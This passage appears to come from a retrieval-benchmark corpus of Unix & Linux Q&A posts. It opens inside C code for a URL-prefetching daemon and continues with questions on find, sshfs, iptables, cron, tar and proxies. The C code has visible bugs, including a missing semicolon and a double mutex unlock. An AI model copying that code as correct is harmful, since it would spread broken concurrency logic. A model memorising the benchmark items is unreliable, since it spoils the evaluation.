if (cad[j] == '\\n') { /* Save URL */ fin = &cad[j]; ini = (*ini == '\\n' ? ini + 1 : ini); /* Check if string is a continuation of the previously read URL */ read_urls = fin - ini; read_urls = read_urls >= 0 ? read_urls : 0; /* Save URL in fullurl string */ fullurl = realloc(fullurl, fullurl_len + read_urls + 1); memcpy(&fullurl[fullurl_len], ini, read_urls); fullurl[fullurl_len + read_urls] = '\\0'; ini = fin; incomplete_url = fullurl_len = 0; /* Ask the model for predictions and fetch them */ fetch_url_predictions2(gr, fullurl); u8_free(&fullurl); } else incomplete_url = 1; } if (incomplete_url) { ini = (*ini == '\\n' ? ini + 1 : ini); read_urls = &cad[j] - ini; read_urls = read_urls >= 0 ? read_urls : 0; fullurl = realloc(fullurl, fullurl_len + read_urls); memcpy(&fullurl[fullurl_len], ini, read_urls); fullurl_len += read_urls; } } } } while (i > 0); close(fifo_descriptor); // fclose (fifo_file); return 1; } int fetch_url_predictions2(Graph_Adj_List * gr, u8 * in_url) { String * string_url = NULL; Headnode * head = NULL; LinkedList * list = NULL; LinkedListElem * elem = NULL; /* Use custom string type */ string_url = string_create_no_len(in_url); if (!string_url) return 0; pthread_mutex_lock(&model_lock); /* Get URL node */ head = adj_list_get_node(gr, string_url); if (head) { /* Get predictions (URLs) as a linked list */ list = adj_list_predictions_to_list(head); if (!list) { string_free_all(&string_url); return 0; } pthread_mutex_unlock(&model_lock); /* Callback fetches URLs */ list->callback = &curl_callback_void; if (!pool) pool = threadpool_create(THREADS_LEN, QUEUE_LEN, 0); /* Load URLs to be fetched to threadpool's task queue */ for (elem = list->first; elem; elem = elem->next) { CallbackArg arg; arg.data = arg.copy(elem->data); threadpool_add_copy_arg(pool, list->callback, &arg, 1, sizeof(arg), 0); } linked_list_free_all(&list); } pthread_mutex_unlock(&model_lock); string_free_all(&string_url); return 1; } fetch.c void curl_callback_void(void * data) { CallbackArg * arg = (CallbackArg *) data; char * url = (char *) arg->data; fetch_url(url); } static size_t write_data(void *buffer, size_t size, size_t nmemb, void *userp) { return size * nmemb; } int fetch_url(char * url) { CURL *curl; CURLcode res; struct timeval time; char * time_string = NULL; curl = curl_easy_init(); if (curl) { curl_easy_setopt(curl, CURLOPT_URL, url); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, &write_data); curl_easy_setopt(curl, CURLOPT_WRITEDATA, NULL); curl_easy_setopt(curl, CURLOPT_FAILONERROR, 1); curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1); curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 15); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10); /* Perform the request, res will get the return code */ res = curl_easy_perform(curl); gettimeofday(&time, NULL); time_string = timeval_to_str(&time); /* Check for errors */ if (res != CURLE_OK) { fprintf(stderr, \"\\ntime %s curl_easy_perform() (url %s) failed: %s\\n\", time_string, url, curl_easy_strerror(res)); } else { fprintf(stderr, \"\\ntime %s curl_easy_perform() (url %s) fetched ok\\n\", time_string, url); } fflush(stderr); free (time_string); curl_easy_cleanup(curl); } return 0; } network.c /* * Code based on Beej's Networking Guide */ #define MSG_LEN 5 #define QUEUE_SIZE 5 extern pthread_mutex_t model_lock; extern pthread_cond_t model_cond; extern short int model_can_update, program_shutdown; extern Config program_config; // get sockaddr, IPv4 or IPv6: static void * get_in_addr(struct sockaddr *sa) { if (sa->sa_family == AF_INET) { return &(((struct sockaddr_in*) sa)->sin_addr); } return &(((struct sockaddr_in6*) sa)->sin6_addr); } void * listen_end_of_cycle(void * data) { int sockfd, new_fd; // listen on sock_fd, new connection on new_fd struct addrinfo hints, *servinfo, *p; struct sockaddr_storage their_addr; // connector's address information socklen_t sin_size; int yes = 1; char s[INET_ADDRSTRLEN], msg[MSG_LEN], *str = NULL; int rv; int read_bytes; struct timeval actual_time; /* Set thread cancel type */ pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL ); memset(&hints, 0, sizeof hints); hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; hints.ai_flags = AI_PASSIVE; // use my IP if ((rv = getaddrinfo(NULL, program_config.listen_port, &hints, &servinfo)) != 0) { fprintf(stderr, \"getaddrinfo: %s\\n\", gai_strerror(rv)); return \"error\"; } // loop through all the results and bind to the first we can for (p = servinfo; p != NULL ; p = p->ai_next) { if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) { perror(\"server: socket\"); continue; } if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) { perror(\"setsockopt\"); return \"error\"; } if (bind(sockfd, p->ai_addr, p->ai_addrlen) == -1) { close(sockfd); perror(\"server: bind\"); continue; } break; } if (p == NULL ) { fprintf(stderr, \"server: failed to bind\\n\"); return \"error\"; } freeaddrinfo(servinfo); // all done with this structure if (listen(sockfd, QUEUE_SIZE) == -1) { perror(\"listen\"); return \"error\"; } while (!program_shutdown) { sin_size = sizeof their_addr; new_fd = accept(sockfd, (struct sockaddr *) &their_addr, &sin_size); if (new_fd == -1) { perror(\"accept\"); continue; } inet_ntop(their_addr.ss_family, get_in_addr((struct sockaddr *) &their_addr), s, sizeof s); if ((read_bytes = recv(new_fd, msg, MSG_LEN - 1, 0)) == -1) { perror(\"recv\"); continue; } close(new_fd); msg[read_bytes] = '\\0'; /* Check received message */ if (strcmp(msg, \"DONE\")) { perror(\"Not valid message\"); continue; } printf(\"\\ngot \\\"DONE\\\" from %s\\n\", s); fflush(stdout); /* Lock */ pthread_mutex_lock(&model_lock); /* Flag used by main thread to allow model update */ model_can_update = 1; /* Signal model can be updated */ pthread_cond_signal(&model_cond); /* Unlock */ pthread_mutex_unlock(&model_lock); } close(sockfd); pthread_exit(NULL); return \"ok\"; } int signal_start_cycle(void) { int sockfd; struct addrinfo hints, *servinfo, *p; int rv; char s[INET6_ADDRSTRLEN], *str = NULL; struct timeval actual_time, aux_time; struct timeval connect_timeout = { 15, 0 }, max_connect_time = { 0, 0 }; short int connected = 0; memset(&hints, 0, sizeof hints); hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; if ((rv = getaddrinfo(program_config.client_ip, program_config.client_port, &hints, &servinfo)) != 0) { fprintf(stderr, \"getaddrinfo: %s\\n\", gai_strerror(rv)); return 0; } gettimeofday(&aux_time, NULL); timeval_add(aux_time, connect_timeout, &max_connect_time); /* Try several times to connect to the remote side */ do { // loop through all the results and connect to the first we can for (p = servinfo; p != NULL ; p = p->ai_next) { if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) { perror(\"client: socket\"); continue; } gettimeofday(&actual_time, NULL ) printf(\"\\ntrying to connect %s\\n\", program_config.client_ip); fflush(stdout); if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) { close(sockfd); perror(\"client: connect\"); continue; } connected = 1; break; } } while (!connected && !timeval_greater_than(actual_time, max_connect_time)); if (p == NULL ) { fprintf(stderr, \"client: failed to connect\\n\"); return 0; } inet_ntop(p->ai_family, get_in_addr((struct sockaddr *) p->ai_addr), s, sizeof s); printf(\"\\nMAIN THREAD: connecting to %s\\n\", s); fflush(stdout); freeaddrinfo(servinfo); // all done with this structure if (send(sockfd, \"DONE\", 4, 0) == -1) { perror(\"send\"); return 0; } printf(\"\\nsent \\\"DONE\\\" to %s\\n\", s); fflush(stdout); close(sockfd); return 1; }"} {"_id": "40063", "title": "How to find executable filetypes?", "text": "I want to find file types that are executable from the kernel's point of view. As far as I know all the executable files on Linux are ELF files. Thus I tried the following: `find * | file | grep ELF` However that doesn't work; does anybody have other ideas?"} {"_id": "154450", "title": "Extract file from completely disconnected machine, possibly via Kernel messages", "text": "I have a VPS running inside an OpenStack cloud that has more or less crashed completely - the provider hasn't been able to get any kind of networking on it for over 2 days, seems completely broken on their end. The server itself has already been migrated elsewhere, no harm done there, but there is a single text file left on the machine that I need. Only connection I have to the server is an HTML5 Canvas based web interface. Since it's a canvas, copy/paste isn't possible. I can't get any networking going on the machine. The file itself is a 2Kb private key, and running OCR on screenshots gets thoroughly confused between 0 and O, 1 and I, and other things because it has no context. Obviously typing over a square block of nearly 2000 characters of which every typo means the result isn't a valid key is not a really viable or attractive option. Losing the key means having to purchase a new $200 certificate. The only thing I have left is the Console Output Log in the OpenStack GUI, which shows everything that's being logged to the console at kernel level, in plaintext. If I can dump the file to there I can copy/paste it out. Now I have tried everything I know, from `logger -s` to `cat my.key > /dev/console`, but it's not showing up there. Anyone have an idea how to do this, or another option to retrieve the file?"} {"_id": "40060", "title": "Lightweight browser for linux", "text": "Is there a lightweight, fast browser (for old hardware) for linux which has the following features: * supports tags for bookmarks and has a tag search function * supports (possibly via plugins) most modern web media (e.g. youtube videos ...) * has an ad-blocker (like adblock plus in firefox) * incremental search * should be stable * actively maintained in particular for security updates Not a strict requirement but nice to have: * import firefox bookmarks * undo closed tabs * something like downthemall in firefox * incremental link-search which supports following links via keyboard"} {"_id": "86443", "title": "How to view traffic over a forwarded ssh port?", "text": "It is possible to setup an SSH port forward where the ssh client prints out the traffic exchanged over the ssh port to the screen or a file. I am trying to debug a problem and want to see what is being sent between a java process running on my local machine and a remote process running on Solaris. I am using the port forwarding via ssh so that i can step through the java program. Normally I would have to copy the .java files to the Solaris machine, build them and run and it is not very productive way to debug, thus the port forwarding. The client and server as using IIOP protocol so I can't use an http proxy to monitor the traffic."} {"_id": "86442", "title": "Finding sparse files?", "text": "Is there a straightforward way to find all the sparse files on my system, or in a particular directory tree? If it's relevant, I'm using `zsh` on Ubuntu 12.04, although a more generic Unix-y answer for bash/sh, for example, would be fine. **Edit** : to clarify, I'm looking to search for sparse files, not check the sparseness status of a single one."} {"_id": "14149", "title": "Vim - buffer names in the cmd line area", "text": "When I edit files with vim there is always this in the cmd line area,under the status line,all buffers' names(image : ![http://ompldr.org/vOHZtdg](http://i.stack.imgur.com/C15cq.png)) Is there any way I can remove it?"} {"_id": "103138", "title": "Why don't these cron jobs run?", "text": "Here is my crontab: # rsnapshot jobs 0 9-21 * * * /usr/bin/rsnapshot -c /home/kaiyin/.rsnapshot.conf hourly 52 22 * * * /usr/bin/rsnapshot -c /home/kaiyin/.rsnapshot.conf daily 42 22 * * 6 /usr/bin/rsnapshot -c /home/kaiyin/.rsnapshot.conf weekly 32 22 1 * * /usr/bin/rsnapshot -c /home/kaiyin/.rsnapshot.conf monthly * * * * * /bin/echo hi >> /tmp/testlog The last one runs ok, but the rsnapshot ones will not run, why?"} {"_id": "14143", "title": "What is a better way to deal with server disconnects of sshfs mounts?", "text": "I have several directories mounted through _sshfs_. I sometimes get disconnects from the server (not configurable by me). I usually mount the directories like this sshfs user@server.example.com:/home/user /mnt/example When a server disconnects, the sshfs subsystem doesn't _umount / free_ the directory but instead locks it inaccessible. The mount is still visible when typing `mount`. When I type ls /mnt/example the process gets locked (also `Ctrl`+`c` doesn't help). I therefore do sudo umount -l /mnt/example # find pid of corresponding process: ps aux | grep example.com kill -9 Is there a better way to deal with this? Obviously _sshfs_ should do the _umount_ and clean up... Ideally it would reconnect automatically."} {"_id": "14142", "title": "GNU screen: move between regions", "text": "I've started splitting window in GNU screen into different regions - rather than switching between windows. Anyway, having split a window into 4 regions (2x2) it takes 3 `C-a ` to return focus to the original region. That is quite cumbersome... Are there other keybindings to _move up, down, left, right_ between regions? I can't understand this: hitting `C-a t` gives me time, does not switch to top win. Should I change keybindings?"} {"_id": "106146", "title": "Pipeline with grep and find prints numbers infront of result", "text": "Am using the following \"find\" command to extract some files, find /lag/cnnf/ -maxdepth 3 -newer ./start ! -newer ./end | grep -nri abc | egrep '([^0-9]45[^0-9])' | grep -nri \"db.tar.gz\" >> sample.txt My output in sample.txt is 5:175:/lag/cnnf/abc/45/r-01.bac.db.tar.gz 20:190:/lag/cnnf/abc/45/r-01.bac.db.tar.gz what should i do to get only, /lag/cnnf/abc/45/r-01.bac.db.tar.gz /lag/cnnf/abc/45/r-01.bac.db.tar.gz without the random numbers in front of it and what those numbers actually mean."} {"_id": "106147", "title": "Customize Top Panel / Global Menu / Super-Wingpanel in Elementary OS Luna", "text": "How on ElementaryOS change Wingpanel on **Top Panel** / **Global Menu** / **Super-Wingpanel** like OS X ? ![enter image description here](http://i.stack.imgur.com/PlYrO.png)"} {"_id": "27490", "title": "Setting system/hardware clock under Debian", "text": "I have installed a system with a London timezone, instead of using Central European Time. The problem is, that hwclock says the time is 11:00, date says the time is 11:00. I have changed the timezone with tzselect, that also reads the correct value (Prague). And the logs still show that the time is 10:00. What I'm missing?"} {"_id": "106140", "title": "Gives access to root user for a period of time", "text": "I want to know if it's possible to give access to root user for one week or a month, for example. It's possible to increase the period of time before the defined period ends? Is it possible to give access without time limitation, forever?"} {"_id": "150997", "title": "Antergos installer says I have no /boot partition", "text": "When attempting to install Antergos(Arch-based Linux distro) I am told that it cannot install as I have not specified a /boot partition, when I appear to have done just that. I have attached a picture of the problem (sorry for the terrible quality.) ![Picture of described problem.](http://i.stack.imgur.com/A3ZN4.jpg)"} {"_id": "15818", "title": "How to fake the source-port of a TCP packet?", "text": "Is there an easy way (or is it possible at all) to rewrite a TCP packet as it leaves the machine? For example if I run telnet binfalse.de 22 it will search for an unused port to leave the machine. In this case it's `46576`: root@srv % lsof -i -P -n | grep telnet telnet 10150 user 3u IPv4 1159425 0t0 TCP 1.2.3.4:46576->87.118.88.39:22 (ESTABLISHED) But now I want to rewrite these packets to let the server think the requests came from port `1337`, or somewhat like this. Of course I know that I don't have to expect an answer in my `telnet` session. **EDIT:** Of course on `1337` another program is listening, so telling `telnet` to speak through `1337` is no option..."} {"_id": "15819", "title": "Run mpirun and ssh-add remotely on the same session", "text": "I am developing a program that is running on multiple machines using MPI. I have machines on Amazon EC2 where I can start _mpirun_ from one of them (the master). Everything works as I expect if I ssh to the master machine, then trigger `ssh-agent` and then `ssh-add my_rsa_key`. What I want to do, is to be able to have a script on my local machine where I trigger the `mpirun` on the master remotely with `ssh`, the problem is that I get `Permission denied (Public key)` because `ssh-add` is not receiving requests over that session (I suppose). Here is a very basic draft of the deploy script I am trying right now. #!/bin/bash MACHINES_LIST=\"M1 M2\" echo $MACHINES_LIST | tr \" \" \"\\n\" | while read fn; do echo \"$fn\" echo \"deploying and compiling to : $fn ...\" scp -i key \"sample.c\" user@$fn:/home/user ssh $fn 'mpicc sample.c -o sample' & done echo \"uploading lists of hosts to master M\" scp -i key .hosts user@M:/home/user echo \"starting mpirun on master M\" ##### Here mpirun needs to execute after ssh-add ssh M 'exec ssh-agent bash;ssh-add my_rsa_key;mpirun --hostfile .hosts -np 10 sample' Is there a way to make `mpirun` execute (remotely) within a session where `ssh-add` is running?"} {"_id": "102654", "title": "What are the differences between split and rar?", "text": "I am used to raring files -- but I am looking for something faster. I see that there is a \"split\" command. How does this command compare to `rar`? What is are the differences between `split` and `rar`?"} {"_id": "70895", "title": "Output of command not in stderr nor stdout", "text": "I've stumbled on this issue, so I'm wondering how is this possible? Standard run of command: # zabbix_sender -c zabbix_agentd.conf -k mmysql.QCInserts -o 14 info from server: \"Processed 0 Failed 1 Total 1 Seconds spent 0.000017\" sent: 1; skipped: 0; total: 1 OK, lets try to get the first line only: # zabbix_sender -c zabbix_agentd.conf -k mmysql.QCInserts -o 14 | head -1 sent: 1; skipped: 0; total: 1 What about standard head? # zabbix_sender -c zabbix_agentd.conf -k mmysql.QCInserts -o 14 | head sent: 1; skipped: 0; total: 1 Inverse grep? sed? tee?!?!?!!? # zabbix_sender -c zabbix_agentd.conf -k mmysql.QCInserts -o 14 | grep -v pero sent: 1; skipped: 0; total: 1 # zabbix_sender -c zabbix_agentd.conf -k mmysql.QCInserts -o 14 | sed 's/foo/bar/' sent: 1; skipped: 0; total: 1 # zabbix_sender -c zabbix_agentd.conf -k mmysql.QCInserts -o 14 | tee sent: 1; skipped: 0; total: 1 stderr to stdout? # zabbix_sender -c zabbix_agentd.conf -k mmysql.QCInserts -o 14 2>&1 | tee sent: 1; skipped: 0; total: 1 I'm really puzzled..."} {"_id": "70894", "title": "scp recursively directories on SunOS", "text": "I have encountered a small issue with SCP (and also rsync). I need to copy certain files from server A (running SunOS 5.8) to server B (running SunOS 5.10). First, I get the list of files (several hundred) via ssh and find FILES=`ssh user@remote find ./ -name \"*.sh\" -o -name \"*.cbs\" -print` scp -r user@remote:\"$FILES\" /u01/appl/somedir/ My problem is, I want to copy files with relative paths, e.g. `product/11/ora/clean.sh` creating also the directory structure (in result having `/u01/appl/somedir/product/11/ora/clean.sh`). Currently I am only able to download the file and no directories are created. As you can see I used `-r` flag in scp."} {"_id": "70897", "title": "What has happened to the file when I entered \"mv file.txt ../\"?", "text": "I wanted to move 'file.txt' one folder up, but instead of `mv file.txt ../file.txt` I entered `mv file.txt ../`. Now the file is gone and I didn't get any error message. So it seems ~~the~~ some action was done successfully. But what happened here? I have backups, so at least that's no problem. But I'd like to understand what I did and if I changed anything or if this file magically disappeared."} {"_id": "15810", "title": "apt-get has unmet dependencies, but apt-get -f install doesn't solve problem", "text": "I've tried to install emacs on Ubuntu server 64bit 11.04, but it's complaining about emacs23-common. If I do: sudo apt-get -f install I still see the same problem: Errors were encountered while processing: /var/cache/apt/archives/emacs23-common_23.2+1-7ubuntu2_all.deb E: Sub-process /usr/bin/dpkg returned an error code (1) How can I solve this situation?"} {"_id": "15811", "title": "Finding the right diplay driver for arch installation on a virtual box on Lenovo edge13''", "text": "I'm checking arch on a virtualbox (running on ubuntu) before I install it on my machine. I have followed the wiki up until the display driver section. lspci gives: > VGA compatible controller: InnoTek Systemberatung GmbH Virtual Graphics > Adapter I assume this is some sort of virtualbox compatible layer, is there a way to by pass it and test my real display driver (intel of some kind) on the virtual box?"} {"_id": "118289", "title": "How do I authenticate to a wireless provider's \"open\" network without using a browser?", "text": "This sort of a setup seems to be common in shopping malls and airports. In Western Canada Shaw provides such a service and calls it \"Shaw Open\". I'm pretty sure other locales have similar services from providers such as T-Mobile, etc. From something such as a cell phone it's not very complicated to do. No authentication is necessary to connect to the wifi hotspot as it is \"open\" for public access. But my cell phone won't connect to websites or remote services via apps **until I use my browser and sign in to a particular webpage provided by the ISP**. My question simply stated is: **How do I automate the authentication step from a device that doesn't typically have a traditional browser?** I have, in my particular case, a raspberry Pi configured with software that I want to use at trade shows etc. Theses locations have the same sort of \"open\" hotspots. The Raspi is meant to be self contained. It just does its business and talks to a website. But this outbound connection is blocked by the ISPs \"open\" connection because I haven't, nor can I complete the browser part of the process. Assuming I have credentials to do this on a particular provider's network, **how can I automate that part of the process without requiring me to open a terminal session to the Pi?** What kind of technology is even used here, that I can search for?"} {"_id": "15814", "title": "copy+paste between linux desktop and vmware player?", "text": "How can I copy+paste text between my linux desktop (GNOME Ubuntu 11.04) and the open vmplayer window running an ubuntu 64bit server terminal?"} {"_id": "14350", "title": "How to access network without NetworkManager in Fedora 15?", "text": "I am running Fedora 15 on VirtualBox 4 and I am failing to reach the internet: $ ping 8.8.8.8 connect: Network is unreachable Firefox also refuses, telling me \"Server not found\". Running `sudo service network restart` and restarting the VM didn't help."} {"_id": "108430", "title": "Should my /usr/local/bin be 700 permissions?", "text": "I just installed npm and node.js, and I couldn't access `npm`. And I'm like \"why?\" and my OS is like \"because /usr/local/bin is at 700 permissions\" and I'm like \"should it really be that way?\" /usr/local is supposed to be .. the local user's bin folder? Then why does it require root access? It is filled with GAE stuff. Maybe Google App Engine changed it, I don't know."} {"_id": "89116", "title": "mount options for bindmount", "text": "Due to some complex requirements, I had to put the following two lines in `/etc/fstab`: /dev/xvdg1 /srv/storage ext4 $OPTIONS1 0 2 /srv/storage/dir /var/opt/dir none bind,$OPTIONS2 0 0 Now my question is: Do I have to re-list all mount options $OPTIONS1 in $OPTIONS2, or will the second line (the bindmount line) inherit the options of $OPTIONS1? FYI, here is the actual options used in $OPTIONS1: rw,auto,async,noatime,nodiratime,barrier=0,delalloc * * * **ETA** : actually I use `UUID=...` instead of `/dev/xvdg1`, but that's beside the point."} {"_id": "108438", "title": "Aptitude - uninstalling autoinstalled packages that are recommended by other packages", "text": "I am running a Debian Wheezy install on a system where space is tight. Hence, I've turned off the \"Automatically install recommended packages\" option. The problem occurs if I install a package which results in a bunch of automatic dependencies. When I then remove that package, aptitude does not remove many of the automatically installed packages, for the reason that they are recommended by other packages. For instance, I installed pybliographer and was required to install almost 45 MB of packages. When I enter `aptitude remove pybliographer` a few hours later, I'm told that 3 MB will be freed. Trying `aptitude why` on a few random packages that were earlier installed - e.g. libgnomeui-0 - shows that they are recommended by some other package, but not depended on by any. The Debian documentation on \"managing automatically installed packages\" mentions that one can set `Apt::AutoRemove::SuggestsImportant` to false so that packages are not retained just because they are suggested by another package. But there is no reference to an option to do this for recommended packages - that page states that packages \"will be removed when there is no path via Depends, PreDepends, or **Recommends** to them from a manually installed package.\" Is there no way this behaviour can be changed?"} {"_id": "14352", "title": "Seamless mode in XEN?", "text": "Is there a seamless mode for XEN like the solution for VirtualBox? UPDATE: under e.g.: having Ubuntu 11.04 as dom0. With seamless mode I mean to integrate the guest vm's window[s] to the host's GUI."} {"_id": "14499", "title": "Network fail on FreeBSD: Ping to router fails, but router believes computer is connected", "text": "I have a TP-Link TL-WN851N wireless adapter, which is based on an Atheros device. When I attempt to connect to my WPA2 wireless network, `ifconfig wlan0` tells me that the connection is 'associated'. My computer also shows up as connected in the list on the router. However, I can not ping anything, even the router itself. On the same system, running Linux, there are no connection problems, and running Windows, there are occasional dropped connections, but no failure to reconnect. DHCP is noticeably slow on both of these however. After doing some debugging with people on the #freebsd channel on Freenode, I have found the following: * `arp -an` shows up no routes. * If I attempt to get an IP address from DHCP, it fails. On the FreeBSD system, it shows DHCPDISCOVER, then gives an error about no DHCPOFFER. According to my router's web interface, it believes it has given the computer an IP address after this."} {"_id": "14498", "title": "Find a string only in a specific file inside subdirectories", "text": "Let's say I need to find the function `GetTypes()` in all C# source file (`.cs`) the directories/subdirectories. I used `grep -rn GetTypes *.cs`, but I got an error with `grep: *.cs: No such file or directory`. I had to use `grep -rn GetTypes *`, but in this case it shows all the files not `*.cs` only. What command do I need to use to find the string only in `.cs` files?"} {"_id": "14497", "title": "Why would vim return non-zero exit code if I exit immediately after opening?", "text": "I'm running into a bit of a strange problem w/ `vim` on Snow Leopard: I get a non-zero exit code from simply running `vim` and then quitting. $ vim # exit immediately using :q $ echo $? 1 However, if I use the full path to `vim`, I don't see this behavior $ /usr/bin/vim # exit immediately using :q $ echo $? 0 At first I thought `vim` was coming from somewhere earlier in my path, but: $ which vim /usr/bin/vim So I'm at a loss. What could be causing this? UPDATE: This problem has magically resolved itself, which makes me highly suspicious. My current best theory is that I had a problem with my `.vimrc` or a plugin that I fixed accidentally while tweaking my setup in some other way. If I can track down exactly what I did to fix it, I will definitely update with that info. Thanks for the answers."} {"_id": "33914", "title": "Sending some input into a process, then resuming input from command line", "text": "I have an interactive terminal program, that accepts stdin (telnet for example). I want to send it some input before interacting with it, like this: echo \"Hello\" | telnet somewhere 123 But that only sends in `Hello` and kills telnet afterwards. How can I keep telnet alive and route input to it?"} {"_id": "18334", "title": "Read and process a string, char by char, yet allow user to simple line edit the input", "text": "I want to incrementally read a line of input from the terminal, and allow the user some basic line editing functionality; INS, DEL, RIGHT, LEFT HOME, END, BACKSPACE Each time the string is modified, I want to process it, to do an incremental regex search of a text file. These edit-keys, and others, generate multiple input characters which make it rather difficult to interpret the input, eg C-Left generates 6 characters. Is there a simple way to achieve this char-by-char editable input? I'm especialy interested in knowing how to do this in bash, because the rest of the processing will be bash.. Other suggestions are welcome too.. Here is how I started out, but it gets a bit out of hand with such a potential variety of control codes .. #!/bin/bash IFS=$'\\n' while true ;do read -n 1 c ((${#c}==0)) && break # Exit the loop. Input length is 0 # ie. The user has pressed Enter echo \"xx=$(echo -n \"$c\"|xxd -p)=\" # 1b 5b 32 7e \"INS\" # 1b 5b 33 7e \"DEL\" # 1b 5b 43 \"RIGHT\" # 1b 5b 44 \"LEFT\" # 1b 5b 46 \"END\" # 1b 5b 48 \"HOME\" # 7f \"BACKSPACE\" done"} {"_id": "14494", "title": "Screen corruption after hibernate \u2014 Is there another way to refresh the X11 display?", "text": "When I restore from hibernate the screen is often corrupted. I suspect the graphics memory is not being saved. Suspend-to-ram works fine. It also looks like the font-cache is corrupted, as all letters are corrupted consistently. **Logging out and back in again fixes it** , but I don't want to have to do that. I have been logging-out then hibernating, but this is more effort and eliminates most of the benefit of hibernate. **Is there another way to refresh the X11 display?** The `Ctrl`+`Alt`+`F1`\u2026 does not work. It switches terminal but does not redraw anything: It just shows the old corrupted screen. I am using Debian 6."} {"_id": "38038", "title": "Batch copying/moving files in unix?", "text": "Is there a way to batch copy/move files in unix? I thought it might be an option for `cp/mv` but I can't find any way to do it."} {"_id": "76498", "title": "Ignore Symlinks when Extracting Tarball", "text": "I have a relatively simple question that I cannot seem to find the answer for. I am attempting to extract a tarball (*.tgz, to be exact) and receiving terminal errors on extracted symlinks. Unfortunately, I cannot simply recreate the archive as this is a legacy archive for a system that no longer exists which was created before I was even out of high school (gotta love working for a big company). I have consulted the almighty Google; however all I can seem to find is information for excluding / following symlinks at _creation_ time. The exact error I am receiving is something of a misnomer (error: read-only filesystem) and comes from the fact that a very large portion of the data payload is contained within numerous squash / cram / loop filesystems. The symlinks are referencing data within them which, obviously, cannot be mounted due to errors while extracting said tarball. Chicken; meet egg. So, in short: **How can I extract a *.tgz archive to completion while either ignoring symlinks or ignoring resultant symlink errors?** For reference: $ tar --version tar (GNU tar) 1.26 Copyright (C) 2011 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later . This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Written by John Gilmore and Jay Fenlason. $ uname -a Linux localhost.localdomain 3.7.9-205.fc18.x86_64 #1 SMP Sun Feb 24 20:10:02 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux"} {"_id": "76497", "title": "How to Save X Session -- ArchLinux+Openbox", "text": "I use Arch Linux and Openbox. How can I save the state of my current openbox/X session and later restart them? The scenario is like this: I've several browsers windows open, terminals, file managers, etc., and for some reason at any moment I may need to _restart_ the computer. I would like to restore the set of windows I've previously using before the restart. Is it possible? How can I do it?"} {"_id": "38031", "title": "SOCKS proxy without ssh command", "text": "Currently I create a ssh tunnel using: `ssh user@server -D 1234` to use SOCKS proxy. How do I configure server so I can directly connect to socks server? I want to set firefox socks host to server ip and port, instead of 127.0.0.1 and the port specified with -D parameter."} {"_id": "14357", "title": "List iptables rules as append command", "text": "A while back I was watching over the shoulder of a Linux guru and he issued a command that listed all the iptables rules in the format of the append commands you would need to issue in order to build them, but despite all my googling and man page searching I can't figure out what he did. For example if the output from `iptables -nL INPUT` was: Chain INPUT (policy DROP) num target prot opt source destination 1 ACCEPT tcp -- 0.0.0.0/0 192.168.0.1 tcp dpt:80 The output from the command I'm looking for would be something like: 1 -A INPUT -i eth0 -p tcp --dport 80 -d 192.168.0.1 -j ACCEPT I seem to remember that it was just another option passed into the standard `iptables -L` command, but I could be wrong. Does anyone know of a command to accomplish this?"} {"_id": "38037", "title": "What is and how to use PS1 \\#", "text": "I put this is .bashrc # colors NC=\"$(tput sgr0)\" RED=\"$(tput setaf 1)\" GREEN=\"$(tput setaf 2)\" # etc ... PS1=\"\\[$BROWN\\]\\u \\[$CYAN\\]#\\# \\[$PINK_BLD\\]!\\!\\[$NC\\] \\[$BLUE\\]\\W: \\[$NC\\]\" So deepo #50 !545 ~: echo \"This is an example what it will look like.\" What is, and how do I use, the hash 50 indication? There are many pages on how to do the PS1 (e.g., http://www.cyberciti.biz/tips/howto-linux-unix-bash-shell-setup-prompt.html) but from fast searches of those I get only standard descriptions of the hash thing (in this case, \"the command number of this command\")."} {"_id": "88263", "title": "Capture output of a bash command, parse it and store into different bash variables", "text": "**Explanation:** I have a small _bash_ script which simply runs _any_ Linux command (e.g. say `ifconfig`) The typical output of _ifconfig_ is something like this: eth0 Link encap:Ethernet HWaddr 30:F7:0D:6D:34:CA inet addr:10.106.145.12 Bcast:10.106.145.255 Mask:255.255.255.0 inet6 addr: fe80::32f7:dff:fe6d:34ca/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1104666 errors:0 dropped:0 overruns:0 frame:0 TX packets:2171 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:444437904 (423.8 MiB) TX bytes:238380 (232.7 KiB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.255.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:15900 errors:0 dropped:0 overruns:0 frame:0 TX packets:15900 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:467306 (456.3 KiB) TX bytes:467306 (456.3 KiB) Now what most people usually do is store the _entire_ output into a file/variable and parse based on that. I however want to know if there is anyway that I could put _specific_ parts of the output in more than one variable (say a _bash variable_ called `${IPETH0}` to carry the IP address `10.106.145.12` from _eth0_ and `${IPLO}` to carry the IP address `127.0.0.1` from _lo_ in the above example _without running ifconfig command twice_ ). Something like what _tee_ command does with the input but I want to do this for the _output_ and store the output into 2 or _more_ variables in one go. Any ideas?"} {"_id": "38034", "title": "How do I generate a list of the characters occurring before a certain character only in lines that contain another certain character using regex?", "text": "I know that's super confusing (total noob-sorry!). To clarify, I have a text file that looks like this: 407-OL? 408-2-OL? 408-OL? 418-het? 420-1 and 2- OL? 429-2-left unscored? 430-2-left both unscored? 431-1 and 2- Ri?? 436-1-just homozygote? 444-2-het? ins. both 456-2-ins 246 despite slight OL 